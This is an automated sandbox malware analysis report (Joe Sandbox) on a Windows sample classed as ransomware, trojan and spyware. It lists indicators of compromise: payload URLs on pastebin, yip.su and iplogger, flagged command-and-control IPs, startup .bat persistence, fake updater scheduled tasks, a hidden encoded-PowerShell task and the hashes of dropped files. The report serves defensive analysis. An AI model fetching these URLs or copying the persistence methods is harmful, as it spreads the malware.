                                                                                    • Avira URL Cloud: safe
                                                                                    		unknown
                                                                                    http://james.newtonking.com/projects/jsonfile.exe, 00000000.00000002.1468881299.0000000003B69000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1473871872.0000000006270000.00000004.08000000.00040000.00000000.sdmpfalse
                                                                                    • URL Reputation: safe
                                                                                    		unknown
                                                                                    https://sourcecode.opera.comOPqTdTFbxWlK6znimRD995XD.exefalse
                                                                                      		high
                                                                                      http://www.newtonsoft.com/jsonschemafile.exe, 00000000.00000002.1468881299.0000000003B69000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1473871872.0000000006270000.00000004.08000000.00040000.00000000.sdmpfalse
                                                                                        		high
                                                                                        https://pastebin.com/raw/V6VJsrV31https://yip.su/RNWPd.exe7https://iplogger.com/1djqU4file.exe, 00000000.00000002.1468709209.0000000002B61000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          https://www.whatsapp.com/legal;r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000ECA000.00000040.00000001.01000000.0000000D.sdmpfalse
                                                                                            		high
                                                                                            https://167.235.143.166/EBXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1872848729.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1757611845.0000000000784000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            • 11%, Virustotal, Browse
                                                                                            • Avira URL Cloud: malware
                                                                                            		unknown
                                                                                            https://www.opera.com..r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmpfalse
                                                                                            • 0%, Virustotal, Browse
                                                                                            • Avira URL Cloud: safe
                                                                                            		low
                                                                                            https://www.opera.com/OPqTdTFbxWlK6znimRD995XD.exefalse
                                                                                              		high
                                                                                              https://legal.opera.com/privacyOPqTdTFbxWlK6znimRD995XD.exefalse
                                                                                                		high
                                                                                                https://www.nuget.org/packages/Newtonsoft.Json.Bsonfile.exe, 00000000.00000002.1473871872.0000000006270000.00000004.08000000.00040000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  https://help.instagram.com/581066165581870;OPqTdTFbxWlK6znimRD995XD.exefalse
                                                                                                    		high
                                                                                                    https://features.opera-api2.com/api/v2/features?country=%s&language=%s&uuid=%s&product=%s&channel=%sOPqTdTFbxWlK6znimRD995XD.exefalse
                                                                                                    • 0%, Virustotal, Browse
                                                                                                    • Avira URL Cloud: safe
                                                                                                    		unknown
                                                                                                    https://t.me/starcofeethtorosdagMozilla/5.0BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1658768599.0000000002290000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      https://desktop-netinstaller-sub.osp.opera.software/v1/binaryv.r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1574710407.0000000001209000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1577176941.0000000001203000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      • 0%, Virustotal, Browse
                                                                                                      • Avira URL Cloud: safe
                                                                                                      		unknown
                                                                                                      https://167.235.143.166/66BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.2622089224.00000000007ED000.00000004.00000020.00020000.00000000.sdmp, BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.2688557966.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.1817870547.0000000000784000.00000004.00000020.00020000.00000000.sdmp, BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.2688496198.00000000007DF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      • 11%, Virustotal, Browse
                                                                                                      • Avira URL Cloud: malware
                                                                                                      		unknown
                                                                                                      https://legal.opera.com/privacy.r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000ECA000.00000040.00000001.01000000.0000000D.sdmpfalse
                                                                                                        		high
                                                                                                        https://desktop-netinstaller-sub.osp.opera.software/v1/binaryQ.r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1574710407.0000000001209000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1577176941.0000000001203000.00000004.00000020.00020000.00000000.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000003.1592519383.0000000001203000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                        • 0%, Virustotal, Browse
                                                                                                        • Avira URL Cloud: safe
                                                                                                        		unknown

                                                                                                        World Map of Contacted IPs

                                                                                                        • No. of IPs < 25%
                                                                                                        • 25% < No. of IPs < 50%
                                                                                                        • 50% < No. of IPs < 75%
                                                                                                        • 75% < No. of IPs

                                                                                                        Public IPs

                                                                                                        IPDomainCountryFlagASNASN NameMalicious
                                                                                                        194.49.94.113
                                                                                                        		unknownunknown
                                                                                                        		42707EQUEST-ASNLfalse
                                                                                                        194.49.94.154
                                                                                                        		unknownunknown
                                                                                                        		42707EQUEST-ASNLfalse
                                                                                                        87.240.137.164
                                                                                                        		unknownRussian Federation
                                                                                                        		47541VKONTAKTE-SPB-AShttpvkcomRUfalse
                                                                                                        37.228.108.132
                                                                                                        		unknownNorway
                                                                                                        		39832NO-OPERANOfalse
                                                                                                        104.21.12.138
                                                                                                        		unknownUnited States
                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                        149.154.167.99
                                                                                                        		unknownUnited Kingdom
                                                                                                        		62041TELEGRAMRUfalse
                                                                                                        172.67.211.35
                                                                                                        		unknownUnited States
                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                        91.92.243.139
                                                                                                        		unknownBulgaria
                                                                                                        		34368THEZONEBGfalse
                                                                                                        194.169.175.118
                                                                                                        		unknownGermany
                                                                                                        		43659CLOUDCOMPUTINGDEfalse
                                                                                                        172.67.132.113
                                                                                                        		unknownUnited States
                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                        95.142.206.3
                                                                                                        		unknownRussian Federation
                                                                                                        		47541VKONTAKTE-SPB-AShttpvkcomRUfalse
                                                                                                        104.21.79.77
                                                                                                        		unknownUnited States
                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                        194.49.94.97
                                                                                                        		unknownunknown
                                                                                                        		42707EQUEST-ASNLfalse
                                                                                                        95.142.206.0
                                                                                                        		unknownRussian Federation
                                                                                                        		47541VKONTAKTE-SPB-AShttpvkcomRUfalse
                                                                                                        95.142.206.1
                                                                                                        		unknownRussian Federation
                                                                                                        		47541VKONTAKTE-SPB-AShttpvkcomRUfalse
                                                                                                        104.21.63.150
                                                                                                        		unknownUnited States
                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                        172.67.180.173
                                                                                                        		unknownUnited States
                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                        172.67.169.89
                                                                                                        		unknownUnited States
                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                        23.216.132.38
                                                                                                        		unknownUnited States
                                                                                                        		7016CCCH-3USfalse
                                                                                                        78.135.105.12
                                                                                                        		unknownTurkey
                                                                                                        		42910PREMIERDC-VERI-MERKEZI-ANONIM-SIRKETIPREMIERDC-SHTRfalse
                                                                                                        167.235.143.166
                                                                                                        		unknownUnited States
                                                                                                        		3525ALBERTSONSUSfalse
                                                                                                        34.117.59.81
                                                                                                        		unknownUnited States
                                                                                                        		139070GOOGLE-AS-APGoogleAsiaPacificPteLtdSGfalse
                                                                                                        172.67.75.163
                                                                                                        		unknownUnited States
                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                        172.67.34.170
                                                                                                        		unknownUnited States
                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                        194.49.94.48
                                                                                                        		unknownunknown
                                                                                                        		42707EQUEST-ASNLfalse
                                                                                                        172.67.222.31
                                                                                                        		unknownUnited States
                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                        172.67.191.99
                                                                                                        		unknownUnited States
                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                        172.67.216.81
                                                                                                        		unknownUnited States
                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                        104.20.68.143
                                                                                                        		unknownUnited States
                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                        194.49.94.85
                                                                                                        		unknownunknown
                                                                                                        		42707EQUEST-ASNLfalse
                                                                                                        107.167.110.218
                                                                                                        		unknownUnited States
                                                                                                        		21837OPERASOFTWAREUSfalse
                                                                                                        176.113.115.84
                                                                                                        		unknownRussian Federation
                                                                                                        		49505SELECTELRUfalse
                                                                                                        104.21.35.235
                                                                                                        		unknownUnited States
                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                        107.167.110.216
                                                                                                        		unknownUnited States
                                                                                                        		21837OPERASOFTWAREUSfalse
                                                                                                        104.20.67.143
                                                                                                        		unknownUnited States
                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                        104.21.32.208
                                                                                                        		unknownUnited States
                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                        107.167.110.211
                                                                                                        		unknownUnited States
                                                                                                        		21837OPERASOFTWAREUSfalse
                                                                                                        91.227.16.22
                                                                                                        		unknownRussian Federation
                                                                                                        		207027EXIMIUS-ASRUfalse
                                                                                                        104.21.93.225
                                                                                                        		unknownUnited States
                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                        107.167.125.189
                                                                                                        		unknownUnited States
                                                                                                        		21837OPERASOFTWAREUSfalse

                                                                                                        General Information

                                                                                                        Joe Sandbox Version:38.0.0 Ammolite
                                                                                                        Analysis ID:1345843
                                                                                                        Start date and time:2023-11-21 15:11:19 +01:00
                                                                                                        Joe Sandbox Product:CloudBasic
                                                                                                        Overall analysis duration:0h 15m 41s
                                                                                                        Hypervisor based Inspection enabled:false
                                                                                                        Report type:full
                                                                                                        Cookbook file name:default.jbs
                                                                                                        Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                        Number of analysed new started processes analysed:58
                                                                                                        Number of new started drivers analysed:0
                                                                                                        Number of existing processes analysed:0
                                                                                                        Number of existing drivers analysed:0
                                                                                                        Number of injected processes analysed:0
                                                                                                        Technologies:
                                                                                                        • HCA enabled
                                                                                                        • EGA enabled
                                                                                                        • AMSI enabled
                                                                                                        Analysis Mode:default
                                                                                                        Analysis stop reason:Timeout
                                                                                                        Sample file name:file.exe
                                                                                                        Detection:MAL
                                                                                                        Classification:mal100.rans.troj.adwa.spyw.expl.evad.winEXE@155/317@0/40
                                                                                                        EGA Information:
                                                                                                        • Successful, ratio: 20%
                                                                                                        HCA Information:Failed
                                                                                                        Cookbook Comments:
                                                                                                        • Found application associated with file extension: .exe

                                                                                                        Warnings

                                                                                                        • Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, SIHClient.exe, WmiPrvSE.exe, svchost.exe
                                                                                                        • Execution Graph export aborted for target 3igcf6uAz0sWTHiwyuTtf5S5.exe, PID 6828 because it is empty
                                                                                                        • Execution Graph export aborted for target 5zZpiaRyAwCkDYAcy3rJRYSk.exe, PID 7480 because there are no executed function
                                                                                                        • Execution Graph export aborted for target 6Y6HZLXw0Y38mRwaQb51f9Xr.exe, PID 7436 because it is empty
                                                                                                        • Not all processes where analyzed, report is missing behavior information
                                                                                                        • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                        • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                                                        • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                                                                                        • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                        • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                        • Report size getting too big, too many NtQueryAttributesFile calls found.
                                                                                                        • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                        • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                                                        • Report size getting too big, too many NtSetInformationFile calls found.
                                                                                                        • Skipping network analysis since amount of network traffic is too extensive

                                                                                                        Simulations

                                                                                                        Behavior and APIs

                                                                                                        TimeTypeDescription
                                                                                                        14:12:32AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4aBHXrK8XjSbEjiL1WIQ7Kmf.bat
                                                                                                        14:12:42AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AS0hnlpl66MtE0KLhjjOLNaC.bat
                                                                                                        14:12:59AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\C9Hw9d8EA13BUssagnw4SgFG.bat
                                                                                                        14:13:06Task SchedulerRun new task: gXUhwMAMn path: powershell s>-WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                        14:13:29Task SchedulerRun new task: OfficeTrackerNMP131 HR path: C:\ProgramData\OfficeTrackerNMP131\OfficeTrackerNMP131.exe
                                                                                                        14:13:32AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LwUEIn0u42avRg7NWL5JGs75.bat
                                                                                                        14:13:38Task SchedulerRun new task: WinTrackerSP HR path: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe
                                                                                                        14:13:52Task SchedulerRun new task: OfficeTrackerNMP131 LG path: C:\ProgramData\OfficeTrackerNMP131\OfficeTrackerNMP131.exe
                                                                                                        14:14:15Task SchedulerRun new task: GoogleUpdateTaskMachineQC path: %ProgramFiles%\Google\Chrome\updater.exe
                                                                                                        14:14:16Task SchedulerRun new task: OfficeTrackerNMP1 HR path: C:\ProgramData\OfficeTrackerNMP1\OfficeTrackerNMP1.exe
                                                                                                        14:14:18Task SchedulerRun new task: WinTrackerSP LG path: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe
                                                                                                        14:14:18AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PABqbTMgez7HPLFgfI7iEGKK.bat
                                                                                                        14:14:29Task SchedulerRun new task: OfficeTrackerNMP1 LG path: C:\ProgramData\OfficeTrackerNMP1\OfficeTrackerNMP1.exe
                                                                                                        14:14:42Task SchedulerRun new task: bSTfouYtWkypYZNMeg path: C:\Users\user\AppData\Local\Temp\HMvTITvwCIIOPWHKa\dvQXzghxGoSBWXp\flBIeyQ.exe s>rd /xxsite_idvrn 385121 /S
                                                                                                        14:15:06AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pAREVsdPZxbAcdElaNfgA9u9.bat
                                                                                                        15:12:26API Interceptor32x Sleep call for process: powershell.exe modified
                                                                                                        15:12:27API Interceptor222x Sleep call for process: CasPol.exe modified
                                                                                                        15:12:30API Interceptor1x Sleep call for process: 3igcf6uAz0sWTHiwyuTtf5S5.exe modified
                                                                                                        15:13:29API Interceptor1x Sleep call for process: Install.exe modified
                                                                                                        15:13:36API Interceptor1x Sleep call for process: BXuFYgf6xs2uEKGHPQsSTe25.exe modified
                                                                                                        15:13:43API Interceptor1x Sleep call for process: 8AbV0HUy7VtZhy8wnNLXmsko.exe modified
                                                                                                        15:13:50API Interceptor99x Sleep call for process: QsTe5POhA2TpmBwMLub9ymVB.exe modified
                                                                                                        15:14:18API Interceptor71x Sleep call for process: 6V2xKGSdzZOG2l67fqdIp9iJ.exe modified
                                                                                                        15:14:35API Interceptor48x Sleep call for process: HLT0AIxjEwuNSfgdyWiT3ueK.exe modified

                                                                                                        Joe Sandbox View / Context

                                                                                                        IPs

                                                                                                        ⊘No context

                                                                                                        Domains

                                                                                                        ⊘No context

                                                                                                        ASNs

                                                                                                        ⊘No context

                                                                                                        JA3 Fingerprints

                                                                                                        ⊘No context

                                                                                                        Dropped Files

                                                                                                        ⊘No context

                                                                                                        Created / dropped Files

                                                                                                        C:\Program Files\Google\Chrome\updater.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):5494552
                                                                                                        Entropy (8bit):7.709997935733505
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:jkIr0MF/LGIgU95JrA8MjLiwlqVwDfb1BrOuQ4:jkIr0MF/FV95BA8hwgCpO2
                                                                                                        MD5:9873907D252DCECD6BAEA9A11AC4B0DA
                                                                                                        SHA1:102562C75D3DBB2C9B2922674F83C5F0F36E3D0C
                                                                                                        SHA-256:A5C68511132B9590F0D60BC6FA5F43999C25D636D0B29AAE1FF3787688907FE7
                                                                                                        SHA-512:2054607E09F31D65060A8B8205755F785B5EA0BE9B248977B00FA95ED2938313309876D91B7FEF5D33866024CF52CF0DD7A73336E703E035770E24B506DB19C8
                                                                                                        Malicious:true
                                                                                                        Antivirus:
                                                                                                        • Antivirus: Avira, Detection: 100%
                                                                                                        • Antivirus: ReversingLabs, Detection: 88%
                                                                                                        • Antivirus: Virustotal, Detection: 76%, Browse
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(......S.. .............@.............................0T.......S...`... ...............................................S. .....T.......S.X.....S..)... T.x.............................S.(.....................S.h............................text...............................`..`.data...@.R.......R.................@....rdata.. .....S.. ...hS.............@..@.pdata..X.....S.......S.............@..@.xdata..4.....S.......S.............@..@.bss.... .....S..........................idata.. .....S.......S.............@....CRT....`.....S.......S.............@....tls..........T.......S.............@....rsrc.........T.......S.............@....reloc..x.... T.......S.............@..B........................................................................................................................................................................

                                                                                                        C:\ProgramData\BAAEHDBF

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe
                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
                                                                                                        Category:dropped
                                                                                                        Size (bytes):159744
                                                                                                        Entropy (8bit):0.5394293526345721
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
                                                                                                        MD5:52701A76A821CDDBC23FB25C3FCA4968
                                                                                                        SHA1:440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
                                                                                                        SHA-256:D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
                                                                                                        SHA-512:2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\ProgramData\BAKEBFBAKKFCBGDHDGHDBAFIIE

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe
                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                                                        Category:dropped
                                                                                                        Size (bytes):20480
                                                                                                        Entropy (8bit):0.6732424250451717
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                                                        MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                                                        SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                                                        SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                                                        SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\ProgramData\BKJJJDHDGDAAKECAKJDA

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe
                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                        Category:modified
                                                                                                        Size (bytes):51200
                                                                                                        Entropy (8bit):0.8746135976761988
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                                                        MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                                                        SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                                                        SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                                                        SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\ProgramData\BKKJKFBKKECFHJKEBKEHIDAEBK

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe
                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
                                                                                                        Category:dropped
                                                                                                        Size (bytes):20480
                                                                                                        Entropy (8bit):0.8467337400211222
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBOiICtj+tCXq4E1:TeAFawNLopFgU10XJBO+tq0qj
                                                                                                        MD5:7A03CC0EAD0AEFF210C3E60823AAA5EC
                                                                                                        SHA1:8B9C99FBEC440663C71F10F70B9386C68CF0EC1D
                                                                                                        SHA-256:D19C0286BB552C8F121A87A8B483E4997F846F0EB586F6BAF269C352678356CF
                                                                                                        SHA-512:8BF799B9351399523796198E1B1160AD81E1C153148D24505AAD28143698DAF77665C26BBFB24650EB150AF8D92DD1623AE8ECB62D29C93EC3E4BB206E0C83DD
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\ProgramData\CFIECBFI

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe
                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                        Category:dropped
                                                                                                        Size (bytes):106496
                                                                                                        Entropy (8bit):1.1371207751183456
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cF/I4:MnlyfnGtxnfVuSVumEHFw4
                                                                                                        MD5:643AC1E34BE0FDE5FA0CD279E476DF3A
                                                                                                        SHA1:241B9EA323D640B82E8085803CBE3F61FEEA458F
                                                                                                        SHA-256:C44B4270F1F0B4FCB13533D2FC023443DBAFB24D355286C6AE1493DBCD96B7E2
                                                                                                        SHA-512:73D0F938535D93CC962EF752B1544FA8A2E4194C8979FB4778D0B84B70D32C6EDF8CC8559C9CEFBAF9681FB3BC1D345086AFCA4CA5FC8FB88100E48679AB1EF8
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\ProgramData\IDBAKKEC

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe
                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                                                        Category:dropped
                                                                                                        Size (bytes):196608
                                                                                                        Entropy (8bit):1.1221538113908904
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:r2qOB1nxCkvSAELyKOMq+8ETZKoxAX
                                                                                                        MD5:C1AE02DC8BFF5DD65491BF71C0B740A7
                                                                                                        SHA1:6B68C7B76FB3D1F36D6CF003C60B1571C62C0E0F
                                                                                                        SHA-256:CF2E96737B5DDC980E0F71003E391399AAE5124C091C254E4CCCBC2A370757D7
                                                                                                        SHA-512:01F8CA51310726726B0B936385C869CDDBC9DD996B488E539B72C580BD394219774C435482E618D58EB8F08D411411B63912105E4047CB29F845B2D07DE3E0E1
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\ProgramData\KKFCAAKF

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe
                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
                                                                                                        Category:dropped
                                                                                                        Size (bytes):155648
                                                                                                        Entropy (8bit):0.5407252242845243
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
                                                                                                        MD5:7B955D976803304F2C0505431A0CF1CF
                                                                                                        SHA1:E29070081B18DA0EF9D98D4389091962E3D37216
                                                                                                        SHA-256:987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
                                                                                                        SHA-512:CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\ProgramData\KKKEBKJJDGHCBGCAAKEH

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe
                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                        Category:dropped
                                                                                                        Size (bytes):40960
                                                                                                        Entropy (8bit):0.8553638852307782
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                        MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                        SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                        SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                        SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\ProgramData\freebl3.dll

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe
                                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):685392
                                                                                                        Entropy (8bit):6.872871740790978
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
                                                                                                        MD5:550686C0EE48C386DFCB40199BD076AC
                                                                                                        SHA1:EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
